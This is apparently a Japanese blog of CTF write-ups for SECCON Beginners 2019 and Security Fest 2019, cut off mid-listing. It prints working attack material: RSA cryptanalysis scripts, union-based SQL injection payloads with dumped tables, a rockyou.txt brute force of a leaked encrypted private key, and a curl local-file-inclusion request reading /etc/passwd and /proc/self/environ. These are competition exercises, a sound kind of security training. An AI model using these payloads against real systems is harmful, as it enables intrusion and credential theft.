ctf4b{very_l0ng_l0ng_BASE64_3nc0ding}

Party (Crypto)

スクリプトの処理概要は以下の通り。

coeff = [flag, 512bitランダム整数, 512bitランダム整数]
party = [512bitランダム整数, 512bitランダム整数, 512bitランダム整数]

partyの各値について以下を出力
・coeff[0] * pow(party[i], 0) + coeff[1] * pow(party[i], 1) + coeff[2] * pow(party[i], 2)

三元方程式になる。これを解くとフラグがわかる。

from sympy import *
from Crypto.Util.number import *

M = 3

with open('encrypted', 'r') as f:
    output = eval(f.read())

party = [output[i][0] for i in range(M)]
val = [output[i][1] for i in range(M)]

x = Symbol('x')
y = Symbol('y')
z = Symbol('z')

eq = []
for i in range(M):
    eq.append(pow(party[i], 0) * x + pow(party[i], 1) * y + pow(party[i], 2) * z - val[i])
ans = solve(eq)
secret = ans[x]

flag = long_to_bytes(secret)
print flag
ctf4b{just_d0ing_sh4mir}

Go RSA (Crypto)

flagの暗号化した数値を表示し、指定した数値で暗号化した結果を3回表示した後、Dの値を表示している。2と4と16を指定し、nを算出する。あとは普通に復号すれば、フラグが得られる。

import socket
from Crypto.Util.number import *

def recvuntil(s, tail):
    data = ''
    while True:
        if tail in data:
            return data
        data += s.recv(1)

def egcd(a, b):
    x,y, u,v = 0,1, 1,0
    while a != 0:
        q, r = b//a, b%a
        m, n = x-u*q, y-v*q
        b,a, x,y, u,v = a,r, u,v, m,n
    gcd = b
    return gcd, x, y

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('133.242.17.175', 1337))

data = recvuntil(s, '\n').rstrip()
print data
c = int(data.split(' ')[-1])

try_rsa_enc = []
for m in [2, 4, 16]:
    data = recvuntil(s, '> ').rstrip()
    print data + str(m)
    s.sendall(str(m) + '\n')
    data = recvuntil(s, '\n').rstrip()
    print data
    try_rsa_enc.append(int(data))

diff1 = (try_rsa_enc[0]) ** 2 - try_rsa_enc[1]
diff2 = (try_rsa_enc[1]) ** 2 - try_rsa_enc[2]

n, _, _ = egcd(diff1, diff2)

for i in range(100, 1, -1):
    if n % i == 0:
        n /= i
        break

data = recvuntil(s, '\n').rstrip()
print data
d = int(data.split(' ')[-1])

m = pow(c, d, n)
flag = long_to_bytes(m)
print flag
ctf4b{f1nd_7he_p4ramet3rs}

Bit Flip (Crypto)

フラグ全体の長さの下1/4のどこかのbitを反転して、暗号化した結果を表示する。

$ nc 133.242.17.175 31337
67934674480415409445912596144472990191947930001733201255786727204148538647908805395531997246928556767017832997940891223515738956921085187535417250023159082589413865327698241395135016557982678511049939226665928693127996358607612902806119769115103069944013822510255298471351806834825914643752644351104525745545
$ nc 133.242.17.175 31337
24846327963537398665326250105820211853540262705563513452165770055157595584227601880087585656348133800807610978266985906268770858609939565220321313107360537391879889839508253377206038160961583521199317745734473887417662273181421001196964299122753375172706482105997513901002415779269706928886427586577522119035

Short Pad attackとRelated Message attackを組み合わせて復号してみる。

# solve.sage
def short_pad_attack(c1, c2, e, n):
    PRxy.<x,y> = PolynomialRing(Zmod(n))
    PRx.<xn> = PolynomialRing(Zmod(n))
    PRZZ.<xz,yz> = PolynomialRing(Zmod(n))

    g1 = x^e - c1
    g2 = (x+y)^e - c2

    q1 = g1.change_ring(PRZZ)
    q2 = g2.change_ring(PRZZ)

    h = q2.resultant(q1)
    h = h.univariate_polynomial()
    h = h.change_ring(PRx).subs(y=xn)
    h = h.monic()

    kbits = n.nbits()//(2*e*e)
    diff = h.small_roots(X=2^kbits, beta=0.5)[0]  # find root < 2^kbits with factor >= n^0.5

    return diff

def related_message_attack(c1, c2, diff, e, n):
    PRx.<x> = PolynomialRing(Zmod(n))
    g1 = x^e - c1
    g2 = (x+diff)^e - c2

    def gcd(g1, g2):
        while g2:
            g1, g2 = g2, g1 % g2
        return g1.monic()

    return -gcd(g1, g2)[0]

N = 82212154608576254900096226483113810717974464677637469172151624370076874445177909757467220517368961706061745548693538272183076941444005809369433342423449908965735182462388415108238954782902658438063972198394192220357503336925109727386083951661191494159560430569334665763264352163167121773914831172831824145331
e = 3
c1 = 67934674480415409445912596144472990191947930001733201255786727204148538647908805395531997246928556767017832997940891223515738956921085187535417250023159082589413865327698241395135016557982678511049939226665928693127996358607612902806119769115103069944013822510255298471351806834825914643752644351104525745545
c2 = 24846327963537398665326250105820211853540262705563513452165770055157595584227601880087585656348133800807610978266985906268770858609939565220321313107360537391879889839508253377206038160961583521199317745734473887417662273181421001196964299122753375172706482105997513901002415779269706928886427586577522119035

diff = short_pad_attack(c1, c2, e, N)
m = related_message_attack(c1, c2, diff, e, N)

flag = ('%x' % m).decode('hex')
print flag

実行結果は以下の通り。

ctf4b{b1tfl1pp1ng_1s_r3lated_m3ss4ge} DUMMYDUMMYDUMMYDUMMYDUMMYDUMMYDUMMYDUMMYDUMMYDUMMYDUMMYDUMMYDUMMYDUMMYDUMMYDUMMYDUIMY
ctf4b{b1tfl1pp1ng_1s_r3lated_m3ss4ge}

[warmup] Ramen (Web)

名前に含まれている文字を指定すると検索でき、unionを使ったSQLインジェクションができる。

■太郎' union select 1,2 -- -

名前	一言
せくこん太郎	1970 年よりラーメン道一本。美味しいラメーンを作ることが生きがい。
1	2

■' union select table_schema, table_name from information_schema.tables -- -

名前	一言
せくこん太郎	1970 年よりラーメン道一本。美味しいラメーンを作ることが生きがい。
せくこん次郎	せくこん太郎の弟。好きな食べものはコッペパン。
せくこん三郎	せくこん次郎の弟。食材本来の味を引き出すことに全力を注ぐ。
information_schema	CHARACTER_SETS
information_schema	COLLATIONS
information_schema	COLLATION_CHARACTER_SET_APPLICABILITY
information_schema	COLUMNS
information_schema	COLUMN_PRIVILEGES
information_schema	ENGINES
information_schema	EVENTS
information_schema	FILES
information_schema	GLOBAL_STATUS
information_schema	GLOBAL_VARIABLES
information_schema	KEY_COLUMN_USAGE
information_schema	OPTIMIZER_TRACE
information_schema	PARAMETERS
information_schema	PARTITIONS
information_schema	PLUGINS
information_schema	PROCESSLIST
information_schema	PROFILING
information_schema	REFERENTIAL_CONSTRAINTS
information_schema	ROUTINES
information_schema	SCHEMATA
information_schema	SCHEMA_PRIVILEGES
information_schema	SESSION_STATUS
information_schema	SESSION_VARIABLES
information_schema	STATISTICS
information_schema	TABLES
information_schema	TABLESPACES
information_schema	TABLE_CONSTRAINTS
information_schema	TABLE_PRIVILEGES
information_schema	TRIGGERS
information_schema	USER_PRIVILEGES
information_schema	VIEWS
information_schema	INNODB_LOCKS
information_schema	INNODB_TRX
information_schema	INNODB_SYS_DATAFILES
information_schema	INNODB_LOCK_WAITS
information_schema	INNODB_SYS_TABLESTATS
information_schema	INNODB_CMP
information_schema	INNODB_METRICS
information_schema	INNODB_CMP_RESET
information_schema	INNODB_CMP_PER_INDEX
information_schema	INNODB_CMPMEM_RESET
information_schema	INNODB_FT_DELETED
information_schema	INNODB_BUFFER_PAGE_LRU
information_schema	INNODB_SYS_FOREIGN
information_schema	INNODB_SYS_COLUMNS
information_schema	INNODB_SYS_INDEXES
information_schema	INNODB_FT_DEFAULT_STOPWORD
information_schema	INNODB_SYS_FIELDS
information_schema	INNODB_CMP_PER_INDEX_RESET
information_schema	INNODB_BUFFER_PAGE
information_schema	INNODB_CMPMEM
information_schema	INNODB_FT_INDEX_TABLE
information_schema	INNODB_FT_BEING_DELETED
information_schema	INNODB_SYS_TABLESPACES
information_schema	INNODB_FT_INDEX_CACHE
information_schema	INNODB_SYS_FOREIGN_COLS
information_schema	INNODB_SYS_TABLES
information_schema	INNODB_BUFFER_POOL_STATS
information_schema	INNODB_FT_CONFIG
app	flag
app	members

■' union select table_name, column_name from information_schema.columns where table_name='flag' -- -

名前	一言
せくこん太郎	1970 年よりラーメン道一本。美味しいラメーンを作ることが生きがい。
せくこん次郎	せくこん太郎の弟。好きな食べものはコッペパン。
せくこん三郎	せくこん次郎の弟。食材本来の味を引き出すことに全力を注ぐ。
flag	flag

■' union select 1, flag from app.flag -- -

名前	一言
せくこん太郎	1970 年よりラーメン道一本。美味しいラメーンを作ることが生きがい。
せくこん次郎	せくこん太郎の弟。好きな食べものはコッペパン。
せくこん三郎	せくこん次郎の弟。食材本来の味を引き出すことに全力を注ぐ。
1	ctf4b{a_simple_sql_injection_with_union_select}
ctf4b{a_simple_sql_injection_with_union_select}

katsudon (Web)

https://katsudon.quals.beginners.seccon.jp/flagにアクセスすると、以下のように書いてある。

BAhJIiVjdGY0YntLMzNQX1kwVVJfNTNDUjM3X0szWV9CNDUzfQY6BkVU--0def7fcd357f759fe8da819edd081a3a73b6052a

"--" の左側をBase64デコードしてみる。

>>> 'BAhJIiVjdGY0YntLMzNQX1kwVVJfNTNDUjM3X0szWV9CNDUzfQY6BkVU'.decode('base64')
'\x04\x08I"%ctf4b{K33P_Y0UR_53CR37_K3Y_B453}\x06:\x06ET'

フラグが含まれていた。

ctf4b{K33P_Y0UR_53CR37_K3Y_B453}

[warmup] Seccompare (Reversing)

$ objdump -d -M intel seccompare > seccompare.asm
$ cat seccompare.asm
         :
00000000004005e7 <main>:
  4005e7:	55                   	push   rbp
  4005e8:	48 89 e5             	mov    rbp,rsp
  4005eb:	48 83 ec 40          	sub    rsp,0x40
  4005ef:	89 7d cc             	mov    DWORD PTR [rbp-0x34],edi
  4005f2:	48 89 75 c0          	mov    QWORD PTR [rbp-0x40],rsi
  4005f6:	64 48 8b 04 25 28 00 	mov    rax,QWORD PTR fs:0x28
  4005fd:	00 00 
  4005ff:	48 89 45 f8          	mov    QWORD PTR [rbp-0x8],rax
  400603:	31 c0                	xor    eax,eax
  400605:	83 7d cc 01          	cmp    DWORD PTR [rbp-0x34],0x1
  400609:	7f 25                	jg     400630 <main+0x49>
  40060b:	48 8b 45 c0          	mov    rax,QWORD PTR [rbp-0x40]
  40060f:	48 8b 00             	mov    rax,QWORD PTR [rax]
  400612:	48 89 c6             	mov    rsi,rax
  400615:	48 8d 3d 68 01 00 00 	lea    rdi,[rip+0x168]        # 400784 <_IO_stdin_used+0x4>
  40061c:	b8 00 00 00 00       	mov    eax,0x0
  400621:	e8 ba fe ff ff       	call   4004e0 <printf@plt>
  400626:	b8 01 00 00 00       	mov    eax,0x1
  40062b:	e9 b1 00 00 00       	jmp    4006e1 <main+0xfa>
  400630:	c6 45 d0 63          	mov    BYTE PTR [rbp-0x30],0x63
  400634:	c6 45 d1 74          	mov    BYTE PTR [rbp-0x2f],0x74
  400638:	c6 45 d2 66          	mov    BYTE PTR [rbp-0x2e],0x66
  40063c:	c6 45 d3 34          	mov    BYTE PTR [rbp-0x2d],0x34
  400640:	c6 45 d4 62          	mov    BYTE PTR [rbp-0x2c],0x62
  400644:	c6 45 d5 7b          	mov    BYTE PTR [rbp-0x2b],0x7b
  400648:	c6 45 d6 35          	mov    BYTE PTR [rbp-0x2a],0x35
  40064c:	c6 45 d7 74          	mov    BYTE PTR [rbp-0x29],0x74
  400650:	c6 45 d8 72          	mov    BYTE PTR [rbp-0x28],0x72
  400654:	c6 45 d9 31          	mov    BYTE PTR [rbp-0x27],0x31
  400658:	c6 45 da 6e          	mov    BYTE PTR [rbp-0x26],0x6e
  40065c:	c6 45 db 67          	mov    BYTE PTR [rbp-0x25],0x67
  400660:	c6 45 dc 73          	mov    BYTE PTR [rbp-0x24],0x73
  400664:	c6 45 dd 5f          	mov    BYTE PTR [rbp-0x23],0x5f
  400668:	c6 45 de 31          	mov    BYTE PTR [rbp-0x22],0x31
  40066c:	c6 45 df 73          	mov    BYTE PTR [rbp-0x21],0x73
  400670:	c6 45 e0 5f          	mov    BYTE PTR [rbp-0x20],0x5f
  400674:	c6 45 e1 6e          	mov    BYTE PTR [rbp-0x1f],0x6e
  400678:	c6 45 e2 30          	mov    BYTE PTR [rbp-0x1e],0x30
  40067c:	c6 45 e3 74          	mov    BYTE PTR [rbp-0x1d],0x74
  400680:	c6 45 e4 5f          	mov    BYTE PTR [rbp-0x1c],0x5f
  400684:	c6 45 e5 65          	mov    BYTE PTR [rbp-0x1b],0x65
  400688:	c6 45 e6 6e          	mov    BYTE PTR [rbp-0x1a],0x6e
  40068c:	c6 45 e7 30          	mov    BYTE PTR [rbp-0x19],0x30
  400690:	c6 45 e8 75          	mov    BYTE PTR [rbp-0x18],0x75
  400694:	c6 45 e9 67          	mov    BYTE PTR [rbp-0x17],0x67
  400698:	c6 45 ea 68          	mov    BYTE PTR [rbp-0x16],0x68
  40069c:	c6 45 eb 7d          	mov    BYTE PTR [rbp-0x15],0x7d
               :

1文字ずつ比較している。これをASCIIコードとして文字にする。

codes = [0x63, 0x74, 0x66, 0x34, 0x62, 0x7b, 0x35, 0x74, 0x72, 0x31, 0x6e,
    0x67, 0x73, 0x5f, 0x31, 0x73, 0x5f, 0x6e, 0x30, 0x74, 0x5f, 0x65, 0x6e,
    0x30, 0x75, 0x67, 0x68, 0x7d]

flag = ''
for code in codes:
    flag += chr(code)

print flag
ctf4b{5tr1ngs_1s_n0t_en0ugh}

Leakage (Reversing)

Ghidraで解析する。is_correct関数は以下のようになっている。

undefined8 is_correct(char *pcParm1)

{
  char cVar1;
  size_t sVar2;
  undefined8 uVar3;
  int local_c;
  
  sVar2 = strlen(pcParm1);
  if (sVar2 == 0x22) {
    local_c = 0;
    while (local_c < 0x22) {
      cVar1 = convert((ulong)(byte)enc_flag[(long)local_c]);
      if (cVar1 != pcParm1[(long)local_c]) {
        return 0;
      }
      local_c = local_c + 1;
    }
    uVar3 = 1;
  }
  else {
    uVar3 = 0;
  }
  return uVar3;
}

これを見ると、フラグの長さは0x22(=34)であることがわかる。convert関数は複雑だが、フラグを先頭から1文字ずつ検証していることがわかる。
そこでgdbでconvertの後の値を$rbp-5の値を見て確認していく。

$ gdb -q ./leakage
Reading symbols from ./leakage...(no debugging symbols found)...done.
gdb-peda$ b *0x400643
Breakpoint 1 at 0x400643
gdb-peda$ r ctf4b{aaaaaaaaaaaaaaaaaaaaaaaaaaa}
Starting program: /mnt/hgfs/Shared/leakage ctf4b{aaaaaaaaaaaaaaaaaaaaaaaaaaa}
        :
gdb-peda$ c
        :
gdb-peda$ c
Continuing.
[----------------------------------registers-----------------------------------]
RAX: 0x61 (b'a')
RBX: 0x0 
RCX: 0x0 
RDX: 0x6 
RSI: 0x174d4705 
RDI: 0x7745f3cb 
RBP: 0x7fffffffda60 --> 0x7fffffffda80 --> 0x400bc0 (<__libc_csu_init>:	push   r15)
RSP: 0x7fffffffda40 --> 0x1 
RIP: 0x400643 (<is_correct+92>:	cmp    BYTE PTR [rbp-0x5],al)
R8 : 0xb09965ff 
R9 : 0xc1f127cb 
R10: 0xf854b3c5 
R11: 0x14ba3627 
R12: 0x400500 (<_start>:	xor    ebp,ebp)
R13: 0x7fffffffdb60 --> 0x2 
R14: 0x0 
R15: 0x0
[-------------------------------------code-------------------------------------]
Display various information of current execution context
Usage:
    context [reg,code,stack,all] [code/stack length]


Breakpoint 1, 0x0000000000400643 in is_correct ()
gdb-peda$ x/b $rbp-5
0x7fffffffda5b:	0x6c ★"l"のASCIIコード

これを繰り返し、1文字ずつ割り出す。

ctf4b{le4k1ng_th3_f1ag_0ne_by_0ne}

Linear Operation (Reversing)

Ghidraで解析する。is_correct関数は複雑な処理になっていて、1文字ずつ確認するのは難しいので、angrで解く。

import angr

p = angr.Project('./linear_operation')
initial_state = p.factory.entry_state()
pg = p.factory.simgr(initial_state)
a = pg.explore(find=0x40cf78, avoid=0x40cf86)
if len(a.found) > 0:
    s = a.found[0].state
    print '%r' % s.posix.dumps(0)
ctf4b{5ymbol1c_3xecuti0n_1s_3ffect1ve_4ga1nst_l1n34r_0p3r4ti0n}

Security Fest 2019 Writeup

この大会は2019/5/23 0:00(JST)~2019/5/24 0:00(JST)に開催されました。
今回もチームで参戦。結果は1893点で465チーム中24位でした。
自分で解けた問題をWriteupとして書いておきます。

Sanity check (warmup, misc)

freenodeで#securityfest-ctfチャネルに入ると、フラグが書いてあった。

sctf{securityfestctf_2019}

Darkwebmessageboard (crypto, osint, web)

問題のURLにアクセスし、HTMLソースを見ると、コメントにこう書いてある。

<!-- | Dark Web Message Board | DEVELOPED BY K1tsCr3w | Open source at Kits-AB | -->

OpenSource上にソースがあると踏んで、このコメントをもとに検索してみると、以下の場所にソースがあることがわかった。

https://github.com/kits-ab/the-dark-message-board

app.pyに以下の記載がある。

@app.route("/boards/<id>")
def board(id):
    posts = []

    if int(id) == 1:
        posts = Post.select()
    
    return render_template("board.html", posts=posts)

以下のURLでメッセージボードが見れることがわかる。

http://darkboard-01.pwn.beer:5001/boards/1

メッセージボードの最下部に暗号メッセージが掲載されている。これを復号できればよさそう。

rW+fOddzrtdP7ufLj9KTQa9W8T9JhEj7a2AITFA4a2UbeEAtV/ocxB/t4ikLCMsThUXXWz+UFnyXzgLgD9RM+2toOvWRiJPBM2ASjobT+bLLi31F2M3jPfqYK1L9NCSMcmpVGs+OZZhzJmTbfHLdUcDzDwdZcjKcGbwEGlL6Z7+CbHD7RvoJk7Ft3wvFZ7PWIUHPneVAsAglOalJQCyWKtkksy9oUdDfCL9yvLDV4H4HoXGfQwUbLJL4Qx4hXHh3fHDoplTqYdkhi/5E4l6HO0Qh/jmkNLuwUyhcZVnFMet1vK07ePAuu7kkMe6iZ8FNtmluFlLnrlQXrE74Z2vHbQ==

https://github.com/kits-ab/the-dark-message-board/blob/master/tests/test_crypto.pyを使って暗号化しているようだが、そのまま利用するだけでは復号できない。別の秘密鍵を使っているようだ。
そこでgithub上のCommitsの履歴を見てみる。この履歴の中に「removed the production key, luckily it was encrypted with a password …」というのがある。
これを見ると、以下の内容のEncryption.txtが削除されていたことがわかる。

PEM_PRIVATE_KEY=b"""-----BEGIN ENCRYPTED PRIVATE KEY-----
MIIFLTBXBgkqhkiG9w0BBQ0wSjApBgkqhkiG9w0BBQwwHAQIF+TK17Q9CAsCAggA
MAwGCCqGSIb3DQIJBQAwHQYJYIZIAWUDBAEqBBCebicNIgfA441g2E3t3z/oBIIE
0OAMyvjZ8MaFDLJzuzDY3RWHP0IHWiHoCBNxPJWySon/tLXoizSbsj8EKtgA0MpE
vORC4QdnKg7bqplAAXfSIRli9Hb7RcuMpKv5buW3/Oh/th8NWWM9LOQOBAO0svlR
pJhA5hZSKEgEJMd1E77mjv29gHMEzRgXvAsTOZXhgbbtPnIkQGPXZq4hXyhy0VBt
9cCevKYLgVFahIARjejN+KErNiSN0f76mc62wunum+J6uGtk/HYZ00ZsFcf/0x7B
O/8hrFsliAg+2izNLVWy/+b1oCkuaMIEZ0zXjse3iZirSmWs6F5tFGh2w5lnJB1G
hJAqTjhHdvPWpwiyTw4nCG7+FDd3v1Ih+v8Qq9evlkYg1rdwh13ymGcfko3y7p2l
SuQsJ94i5NEv4acgIE70fqXrwzbSlc+QB5RtKexMj0NxWCySe9seLQP9fbCxp6Ci
a8mHS/4hF7hBbH984QJxy7aqt+U/xLQrKkkp2Lf0KYfthmiS13e7ZEtNSzd3dxZv
eVnDNSzEh/ty/+yt5bx58AlmhNigkaPX+KrTYt1KgQBrgYyk/YNEWK8GE0Sq/4KL
uEiIa0mpbn9je7szIA9egwjIqLWasBoG1HOb5dOu/azhVoM8mheEik/FQLHhgZlo
ZoFY8Rb3jO3Mv/sod1tQE6IteAkBsfXGT8QNaJHMAjmf96aNA8y0bStpHm1ZzpzW
qX3xcr6bDAt4olonDZ1DNTZh4AnSCnKM8LM6kwwY0r8q13EHJ2Ek6L0Vh+BiIeNw
7Q/jQ1thXzrYv9e5KU5TmvZAvtXoqcUCmI2ehnOq6xmir07g4tPQIHyolbY8EHw1
r/mb3me1+8lPdvjKSCM/LqI04h3GPkfnXWwPwlBL4sd5mnKRunLHcnLDu2AVRE+R
r8DvGGIMNr+LZjxZIdjhMraR6VSSTXX028Lamz40ZY9gn3vQWeIJAi0S7g/TW+TJ
RwXGW5gmLfbzlkzgvXPRPfjk9EeBtcS4Pj7q2QIrrAdZZFCC4z5uRGmMHC/tv2/p
IYpV2kClKcnNuPvQSreJXB18GJo1VJU/o78/Hi/cr1atiERM38gP1FYk08vcwjwT
Av62VWaTXsuAsOzS/fjmSsyAlv0LN8pNJ6j3uvk+bOrbKS4V7aM0oHDhLtlJThN5
dagcklxP1VgRAXQPdGUz1oEZzoKezPxq2mJCj8QAPZFkat5mRzbUum0aAr3Yn7Vq
KLGrILx8p4sToqfiKMnayU/QCpgifgJbMun9pSvdOC40b8xUIeuN0PlIkLueA4Mu
o4pbU2inYbC+vEB3c1fHaki+Z0+jUuHyIWtEBJOD6VNYx1LU3HY6T7eV8t/8oJxi
LZCxhon+/R9kEgJO0ofp0362pFm5i1V1afzjFMAhFK4khFNdZJ6rJLrymg1ueCsx
sxSv8x8EA/ZykDJs4M/E5eSiZI9ZmrCsIrUXZ7QGjguqHXnHi7wsO3RSa2c8Bl+t
+SYlmqK5U55yHZ23rJIS/XNIaMB+mX0CHnx/+rohABcueD7Hz7Q0OHP34NuPwK3x
NAx6x4Yfrw2SiYd0Nj15N8oexI+u6/tahCL2obap9S1Y7zibfNgJs4d2yi3F3A+w
Fe+whD+k+txSfs6w50MFgI4JG2Hu6dLtdQC5FSyOAYDJ
-----END ENCRYPTED PRIVATE KEY-----"""

これに置き換えるだけでは、復号できず、pemのパスワードが間違っているというエラーが出る。先ほどの履歴の「removed the production key, luckily it was encrypted with a password …」の下に「…from some file that reminds me of the song 'here i am something like a hurricane'」と書いてあるので、インターネット上を調べる。すると、Rock Youというキーワードが引っかかる。そこでrockyou.txtでpemパスワードのブルートフォースで、復号を試す。

from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives.asymmetric import rsa, padding
from cryptography.hazmat.primitives import serialization, hashes
import base64
import unittest

PEM_PRIVATE_KEY = '''-----BEGIN ENCRYPTED PRIVATE KEY-----
MIIFLTBXBgkqhkiG9w0BBQ0wSjApBgkqhkiG9w0BBQwwHAQIF+TK17Q9CAsCAggA
MAwGCCqGSIb3DQIJBQAwHQYJYIZIAWUDBAEqBBCebicNIgfA441g2E3t3z/oBIIE
0OAMyvjZ8MaFDLJzuzDY3RWHP0IHWiHoCBNxPJWySon/tLXoizSbsj8EKtgA0MpE
vORC4QdnKg7bqplAAXfSIRli9Hb7RcuMpKv5buW3/Oh/th8NWWM9LOQOBAO0svlR
pJhA5hZSKEgEJMd1E77mjv29gHMEzRgXvAsTOZXhgbbtPnIkQGPXZq4hXyhy0VBt
9cCevKYLgVFahIARjejN+KErNiSN0f76mc62wunum+J6uGtk/HYZ00ZsFcf/0x7B
O/8hrFsliAg+2izNLVWy/+b1oCkuaMIEZ0zXjse3iZirSmWs6F5tFGh2w5lnJB1G
hJAqTjhHdvPWpwiyTw4nCG7+FDd3v1Ih+v8Qq9evlkYg1rdwh13ymGcfko3y7p2l
SuQsJ94i5NEv4acgIE70fqXrwzbSlc+QB5RtKexMj0NxWCySe9seLQP9fbCxp6Ci
a8mHS/4hF7hBbH984QJxy7aqt+U/xLQrKkkp2Lf0KYfthmiS13e7ZEtNSzd3dxZv
eVnDNSzEh/ty/+yt5bx58AlmhNigkaPX+KrTYt1KgQBrgYyk/YNEWK8GE0Sq/4KL
uEiIa0mpbn9je7szIA9egwjIqLWasBoG1HOb5dOu/azhVoM8mheEik/FQLHhgZlo
ZoFY8Rb3jO3Mv/sod1tQE6IteAkBsfXGT8QNaJHMAjmf96aNA8y0bStpHm1ZzpzW
qX3xcr6bDAt4olonDZ1DNTZh4AnSCnKM8LM6kwwY0r8q13EHJ2Ek6L0Vh+BiIeNw
7Q/jQ1thXzrYv9e5KU5TmvZAvtXoqcUCmI2ehnOq6xmir07g4tPQIHyolbY8EHw1
r/mb3me1+8lPdvjKSCM/LqI04h3GPkfnXWwPwlBL4sd5mnKRunLHcnLDu2AVRE+R
r8DvGGIMNr+LZjxZIdjhMraR6VSSTXX028Lamz40ZY9gn3vQWeIJAi0S7g/TW+TJ
RwXGW5gmLfbzlkzgvXPRPfjk9EeBtcS4Pj7q2QIrrAdZZFCC4z5uRGmMHC/tv2/p
IYpV2kClKcnNuPvQSreJXB18GJo1VJU/o78/Hi/cr1atiERM38gP1FYk08vcwjwT
Av62VWaTXsuAsOzS/fjmSsyAlv0LN8pNJ6j3uvk+bOrbKS4V7aM0oHDhLtlJThN5
dagcklxP1VgRAXQPdGUz1oEZzoKezPxq2mJCj8QAPZFkat5mRzbUum0aAr3Yn7Vq
KLGrILx8p4sToqfiKMnayU/QCpgifgJbMun9pSvdOC40b8xUIeuN0PlIkLueA4Mu
o4pbU2inYbC+vEB3c1fHaki+Z0+jUuHyIWtEBJOD6VNYx1LU3HY6T7eV8t/8oJxi
LZCxhon+/R9kEgJO0ofp0362pFm5i1V1afzjFMAhFK4khFNdZJ6rJLrymg1ueCsx
sxSv8x8EA/ZykDJs4M/E5eSiZI9ZmrCsIrUXZ7QGjguqHXnHi7wsO3RSa2c8Bl+t
+SYlmqK5U55yHZ23rJIS/XNIaMB+mX0CHnx/+rohABcueD7Hz7Q0OHP34NuPwK3x
NAx6x4Yfrw2SiYd0Nj15N8oexI+u6/tahCL2obap9S1Y7zibfNgJs4d2yi3F3A+w
Fe+whD+k+txSfs6w50MFgI4JG2Hu6dLtdQC5FSyOAYDJ
-----END ENCRYPTED PRIVATE KEY-----'''

ENCRYPTED_MESSAGE=('rW+fOddzrtdP7ufLj9KTQa9W8T9JhEj7a2AITFA4a2UbeEAtV/ocxB/t4ikLCMsThUXXWz+UFnyXz'
        'gLgD9RM+2toOvWRiJPBM2ASjobT+bLLi31F2M3jPfqYK1L9NCSMcmpVGs+OZZhzJmTbfHLdUcDzDwdZcjKcGbwE'
        'GlL6Z7+CbHD7RvoJk7Ft3wvFZ7PWIUHPneVAsAglOalJQCyWKtkksy9oUdDfCL9yvLDV4H4HoXGfQwUbLJL4Qx4'
        'hXHh3fHDoplTqYdkhi/5E4l6HO0Qh/jmkNLuwUyhcZVnFMet1vK07ePAuu7kkMe6iZ8FNtmluFlLnrlQXrE74Z2vHbQ==')

DEFAULT_PADDING=padding.OAEP(
    mgf=padding.MGF1(algorithm=hashes.SHA256()),
    algorithm=hashes.SHA256(),
    label=None
)

def decryption(pem_password):
    try:
        private_key = serialization.load_pem_private_key(
            PEM_PRIVATE_KEY,
            password=pem_password,
            backend=default_backend()
        )
        plaintext = private_key.decrypt(
            base64.b64decode(ENCRYPTED_MESSAGE.encode('utf-8')),
            DEFAULT_PADDING
        )
        print 'PEM PASSWORD =', pem_password
        print plaintext
        return True
    except:
        return False

if __name__ == '__main__':
    with open('dict/rockyou.txt', 'r') as f:
        words = f.read()
    words = words.split('\n')
    for word in words:
        if decryption(word):
            break

実行結果は以下の通り。

PEM PASSWORD = falloutboy
Bank url: http://bankofsweden-01.pwn.beer

問題文に書かれている通り、ポートを5000にしてアクセスする。

http://bankofsweden-01.pwn.beer:5000

アカウントを作成するが、Activateできない。is_activateのhidden属性が空になっているので、trueにしてpostすると、ログインできるようになる。ただ、ここからはしばらく考えたがわからず、チームメンバに助けてもらった。
ログインしたページの中にexport機能があり、それを実行すると、以下のエラーが出る。

Could not open file 4341114.csv, reason [Errno 2] No such file or directory: '4341114.csv'

LFI系の脆弱性がありそう。

$ curl 'http://bankofsweden-01.pwn.beer:5000/dashboard/dataportability/export' -H 'Cookie: session=.eJwdzjsOwjAMANC7ZO7gT2I7vUzlOI5gbemEuDuICzy9dznWmdej7K_zzq0cz1n24k5NOcVWZQWkZE0I75Mas-BcwYQ1qsaQHNmNJjcFbsLaJWgt5GwdmJyGAphH2phO9aeQt4lYnUVwcTQbHYMZWQCoL1ezspX7yvOfIcPPFzf6Lb4.XOaMCw.AZW0GSK1GSOy-spMUyw4_ZrAYqU' --data 'account=/etc/passwd'

これで/etc/passwdの内容が見れた。同様に他のファイルを見ていく。

### /proc/self/environ ###
PYTHONUNBUFFERED=1
LANG=C.UTF-8
HOSTNAME=78135dc621a9
GPG_KEY=0D96DF4D4110E5C43FBFB17F2D347EA6AA65421D
PWD=/home/bos/ctf
HOME=/home/bos
PYTHON_VERSION=3.7.3
SHLVL=1
PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
PYTHON_PIP_VERSION=19.1.1
_=/home/bos/.local/bin/gunicorn

### /proc/self/cmdline ###
/usr/local/bin/python/home/bos/.local/bin/gunicorn--bind0.0.0.0:5000-w4app:app

環境変数からカレントディレクトリが /home/bos/ctf で、実行されているプロセスが /usr/local/bin/python/home/bos/.local/bin/gunicorn --bind 0.0.0.0:5000 -w4 app:app なので、/home/bos/ctf/app.py というファイルがあると推測できる。

### /home/bos/ctf/app.py ###
#!/usr/bin/python
import sys
import os
​
from urllib.request import urlopen
from model import init_database, Account, Transactions, db
from flask import request, render_template, Flask, flash, redirect, url_for
​
import flask_login
​
init_database()
​
app = Flask(__name__)
​
app.secret_key = "VRvzHowHabQYHTD3@YG+.kWeKM@UY_Q}"
​
login_manager = flask_login.LoginManager()
login_manager.init_app(app)
​
​
login_manager.login_view = "/login"
​
@login_manager.user_loader
def load_user(user_email):
  return Account.get_or_none(Account.id == user_email)
​
@app.route("/")
def index():
  return render_template("index.html")
​
@app.route("/login", methods=['GET', 'POST'])
def login():
  message = ""
  if request.method == "POST":
    username = request.form.get("username")
    password = request.form.get("password")
​
    try:
      account = Account.get(Account.email == username)
​
      if account.password == password:
        if account.active == 1:
          flask_login.login_user(account)
          return redirect(url_for('index'))
        message = "Account is not active...."
      else:
        message = "Passwords did not match..."
​
    except Exception as e:
      message = "Mainframe could not locate you..."
​
​
  return render_template("login.html", message=message)
​
@app.route("/register", methods=['GET', 'POST'])
def register():
  if request.method == "POST":
    firstname = request.form.get("firstname")
    lastname = request.form.get("lastname")
    profession = request.form.get("profession")
    purpose = request.form.get("purpose")
    email = request.form.get("email")
    password = request.form.get("password")
